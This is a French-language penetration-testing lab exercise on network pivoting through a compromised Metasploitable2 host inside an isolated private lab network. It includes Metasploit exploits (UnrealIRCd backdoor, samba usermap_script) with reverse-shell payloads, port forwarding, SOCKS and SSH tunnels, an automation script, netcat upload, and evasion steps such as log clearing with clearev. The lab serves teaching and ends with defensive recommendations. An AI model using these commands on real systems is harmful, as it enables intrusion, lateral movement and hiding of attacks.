PCTAMALOU

🔬 Mission pratique – Laboratoire (2 heures)

Étape 1 : Configuration du lab segmenté

# Sur la cible interne (Ubuntu, 192.168.56.103)
# Configurez le firewall pour bloquer Kali mais autoriser le pivot

# Installation et configuration UFW
sudo apt update
sudo apt install ufw -y

# Autorise seulement le pivot (Metasploitable2)
sudo ufw allow from 192.168.56.102
# Bloque explicitement Kali (optionnel, par défaut tout est bloqué)
sudo ufw deny from 192.168.56.101

# Activez le firewall
sudo ufw enable
sudo ufw status verbose

# Installez un service pour tester (SSH par exemple)
sudo apt install openssh-server -y
sudo systemctl start ssh
sudo systemctl enable ssh

# Vérifiez la configuration
# Depuis Kali: ssh 192.168.56.103 → DOIT ÉCHOUER
# Depuis Metasploitable2: ssh 192.168.56.103 → DOIT RÉUSSIRCopier

Étape 2 : Obtention d'une session sur le pivot

# Sur Kali, obtenez un Meterpreter sur Metasploitable2
msfconsole -q

# Utilisez l'exploit UnrealIRCd (comme S17)
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
exploit

# Vérifiez la session
sysinfo
getuid
# Vous devriez voir: Server username: ircd

# Mettez la session en arrière-plan pour les étapes suivantes
backgroundCopier

Étape 3 : Port Forwarding (Méthode simple)

# Dans msfconsole, avec la session active:

# 1. Liste des sessions
sessions -l
# Notez l'ID de votre session (ex: 1)

# 2. Interagissez avec la session
sessions -i 1

# 3. Configurez le port forwarding
# Redirige le port local 2222 vers le port 22 de la cible interne
portfwd add -l 2222 -p 22 -r 192.168.56.103

# 4. Liste des forwards actifs
portfwd list

# 5. Testez depuis un nouveau terminal Kali
# Dans un nouveau terminal:
ssh msfadmin@127.0.0.1 -p 2222
# Vous devriez maintenant pouvoir vous connecter à la cible interne!
# Mot de passe pour msfadmin: msfadmin

# 6. Exploration depuis la cible interne
whoami
hostname -I
# Vous êtes maintenant sur la cible interne via le pivot!Copier

Étape 4 : SOCKS Proxy avec Proxychains (Méthode complète)

# 1. Configurez le proxy SOCKS dans Metasploit
# Dans msfconsole (session toujours en arrière-plan):
use auxiliary/server/socks_proxy
set VERSION 4a  # SOCKS4a pour meilleure compatibilité
set SRVPORT 1080
run -j  # -j pour exécuter en tant que job

# 2. Configurez proxychains sur Kali
sudo nano /etc/proxychains4.conf
# Ajoutez à la fin (ou modifiez la section [ProxyList]):
# socks4 127.0.0.1 1080

# 3. Testez avec nmap via le proxy
proxychains nmap -sT -Pn 192.168.56.103
# -sT: TCP connect scan (nécessaire via proxy)
# -Pn: Ne pas ping (peut échouer via proxy)

# 4. Testez avec d'autres outils
proxychains curl http://192.168.56.103:80 2>/dev/null
proxychains ssh msfadmin@192.168.56.103

# 5. Utilisation avancée: Scan complet via pivot
proxychains nmap -sT -p- -T4 192.168.56.103
# Note: Beaucoup plus lent que scan directCopier

Étape 5 : Route MSF (Intégration Metasploit native)

# 1. Ajoutez une route dans Metasploit
# Dans msfconsole:
route add 192.168.56.103/32 1
# 192.168.56.103/32: la cible spécifique
# 1: l'ID de session à utiliser comme pivot

# 2. Vérifiez les routes
route print
# Vous devriez voir: 192.168.56.103/32 -> Session 1

# 3. Utilisez maintenant les modules Metasploit directement
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.103
set PORTS 1-1000
run

# 4. Essayez un exploit via la route
# Par exemple, si la cible interne a un service vulnérable:
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.56.103
set RPORT 139
exploit
# Metasploit utilisera automatiquement la session 1 comme pivotCopier

Étape 6 : SSH Tunneling (Alternative plus furtive)

# Prérequis: Avoir des credentials SSH sur le pivot
# Sur Metasploitable2, les credentials par défaut sont:
# Utilisateur: msfadmin, Mot de passe: msfadmin

# 1. Créez un tunnel SSH depuis Kali
ssh -N -L 0.0.0.0:8080:192.168.56.103:80 msfadmin@192.168.56.102
# -N: Ne pas exécuter de commande distante
# -L: Local port forwarding
# Syntaxe: -L [bind_address:]port:host:hostport

# 2. Dans un nouveau terminal, accédez au service
curl http://127.0.0.1:8080
# Vous accédez au port 80 de 192.168.56.103 via le pivot

# 3. Tunnel dynamique (SOCKS via SSH)
ssh -N -D 1080 msfadmin@192.168.56.102
# -D: Dynamic port forwarding (SOCKS proxy)

# 4. Configurez proxychains pour utiliser ce tunnel
# Editez /etc/proxychains4.conf:
# socks4 127.0.0.1 1080

# 5. Testez
proxychains nmap -sT 192.168.56.103Copier

Étape 7 : Script d'automatisation de pivoting

# Créez un script pour automatiser le pivoting
cat > pivot_automation.rc << 'EOF'
# Script d'automatisation de pivoting - PCTAMALOU S20

# 1. Obtention de la session pivot
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.56.102
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
exploit -j

sleep 5

# 2. Configuration du SOCKS proxy
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVPORT 1080
run -j

sleep 2

# 3. Ajout des routes
sessions -i 1
route add 192.168.56.103/32 1
route print

# 4. Scan via pivot
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.56.103
set PORTS 1-1000
run

# 5. Port forwarding pour accès SSH
portfwd add -l 2222 -p 22 -r 192.168.56.103
portfwd list

echo "[*] Pivot établi!"
echo "[*] SSH via pivot: ssh msfadmin@127.0.0.1 -p 2222"
echo "[*] Proxy SOCKS sur port 1080"
echo "[*] Routes Metasploit configurées"
EOF

# Exécutez le script
msfconsole -r pivot_automation.rc -qCopier

Étape 8 : Découverte et exploitation via pivot

# 1. Découverte des services sur la cible interne
# Via proxychains:
proxychains nmap -sV -sC 192.168.56.103
# Notez les services ouverts

# 2. Si un service vulnérable est trouvé, exploitez-le
# Exemple: Si MySQL est ouvert sur 3306
proxychains mysql -h 192.168.56.103 -u root -p
# Ou utilisez Metasploit avec la route déjà configurée

# 3. Upload d'outils sur le pivot pour attaquer la cible interne
# Dans Meterpreter sur le pivot:
upload /usr/bin/nc /tmp/nc
# Puis depuis le pivot, attaquez la cible interne:
shell
chmod +x /tmp/nc
/tmp/nc -nv 192.168.56.103 80
# Vous avez maintenant un reverse shell depuis le pivot vers la cible

# 4. Pivot en chaîne (double pivot)
# Si vous compromisez la cible interne, utilisez-la comme nouveau pivot
# Depuis la cible interne, scannez d'autres machines:
proxychains ssh msfadmin@192.168.56.103 "nmap -sP 192.168.100.0/24"Copier

Étape 9 : Détection et évasion

# 1. Surveillez le trafic sur le pivot
# Dans un terminal sur le pivot (si vous y avez accès):
sudo tcpdump -i any port 1080 or port 4444 or port 2222
# Vous verrez le trafic de pivoting

# 2. Techniques d'évasion basique
# Utilisez des ports communs (443, 80) pour le pivoting
portfwd add -l 443 -p 22 -r 192.168.56.103
# Plus discret que le port 2222

# 3. Chiffrement
# Préférez SSH tunneling plutôt que SOCKS non chiffré
ssh -N -L 443:192.168.56.103:22 msfadmin@192.168.56.102

# 4. Slow scanning via pivot
proxychains nmap -sT -T2 -max-rate 10 192.168.56.103
# Plus lent, moins détectable

# 5. Nettoyage des logs sur le pivot
# Dans Meterpreter:
clearev
# Efface les logs de la sessionCopier

Étape 10 : Documentation et analyse

# Créez un rapport de pivoting
cat > pivoting_report.md << 'EOF'
# Rapport de Pivoting - PCTAMALOU S20
## Date: $(date)
## Topologie testée:
- Attaquant (Kali): 192.168.56.101
- Pivot (Metasploitable2): 192.168.56.102
- Cible Interne (Ubuntu): 192.168.56.103

## Méthodes testées et résultats:

### 1. Port Forwarding (Meterpreter)
- Commande: `portfwd add -l 2222 -p 22 -r 192.168.56.103`
- Résultat: SUCCÈS
- Temps d'établissement: < 2 secondes
- Détectabilité: Moyenne (nouveau port local)
- Utilisation: Accès SSH à la cible interne

### 2. SOCKS Proxy (Proxychains)
- Proxy: SOCKS4a sur 127.0.0.1:1080
- Résultat: SUCCÈS
- Limitations: Seulement TCP, plus lent
- Outils testés: nmap, curl, ssh via proxychains
- Détectabilité: Élevée (trafic proxy visible)

### 3. Route MSF
- Commande: `route add 192.168.56.103/32 1`
- Résultat: SUCCÈS
- Avantage: Intégration transparente avec Metasploit
- Modules testés: scanner/portscan/tcp, exploit multi/samba
- Détectabilité: Moyenne-Élevée

### 4. SSH Tunneling
- Commande: `ssh -N -L 443:192.168.56.103:22 msfadmin@192.168.56.102`
- Résultat: SUCCÈS
- Avantage: Chiffré, furtif
- Détectabilité: Faible (ressemble à du trafic SSH normal)

## Temps comparatifs:
- Scan direct (sans pivot): 5 secondes
- Scan via SOCKS proxy: 45 secondes
- Scan via route MSF: 30 secondes
- Établissement tunnel SSH: 3 secondes

## Recommendations défensives:
1. **Monitoring réseau:** Surveiller les connexions inhabituelles depuis des machines compromises
2. **Segmentation:** Isoler les sous-réseaux critiques
3. **Authentification:** MFA pour les accès privilégiés
4. **Détection:** Alertes sur les patterns de pivoting
5. **Hardening:** Désactiver les services inutiles sur les pivots potentiels

## Annexes:
- Commandes exécutées: Voir journal msfconsole
- Captures réseau: pivot_traffic.pcap
- Logs systèmes: /var/log sur pivot et cible
EOF

echo "Rapport généré: pivoting_report.md"Copier